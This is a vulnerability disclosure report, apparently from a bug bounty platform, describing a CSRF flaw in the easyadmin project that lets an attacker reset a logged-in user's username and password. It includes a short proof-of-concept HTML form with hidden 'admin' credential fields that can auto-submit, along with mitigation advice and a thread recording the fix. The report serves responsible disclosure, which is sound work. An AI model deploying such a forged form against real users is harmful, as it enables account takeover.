Cross-Site Request Forgery (CSRF) in zhongshaofa/easyadmin


Reported on

Aug 4th 2021

✍️ Description

Attacker able to change any password and username with CSRF attack.

It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.

In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can change a password, this means only with visiting a site a password will be changed.

🕵️‍♂️ Proof of Concept

1.fisrt user already should be logged in In Firefox or safari.

2.Open the PoC.html and click on submit button ( Also it can be auto-submit)

3.Here password and username of user will be change to admin after clicking on submit button on PoC.html file.

// PoC.html

<script>history.pushState('', '', '/')</script>
<form action="" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="password" value="admin" />
<input type="hidden" name="password&#95;again" value="admin" />
<input type="submit" value="Submit request" />

Also for real attacks the submit button can be auto-submit.

💥 Impact

This vulnerability is capable of take control of any account.


set a token with a length bigger that 16 characters in every requests body then attacker never can guess the url.

Also you cat turn Lax to Strict in cookies. 📍 Location app.php#L1

amammad modified the report
2 years ago
2 years ago



hey admin, dear maintainer give us own email to communicate with him.

amammad modified the report
2 years ago
2 years ago


Hey amammad, I've emailed the repo maintainer for you.

We have contacted a member of the zhongshaofa/easyadmin team and are waiting to hear back 2 years ago
Mr.Chung marked this as fixed with commit 4cb2be 2 years ago
Mr.Chung has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation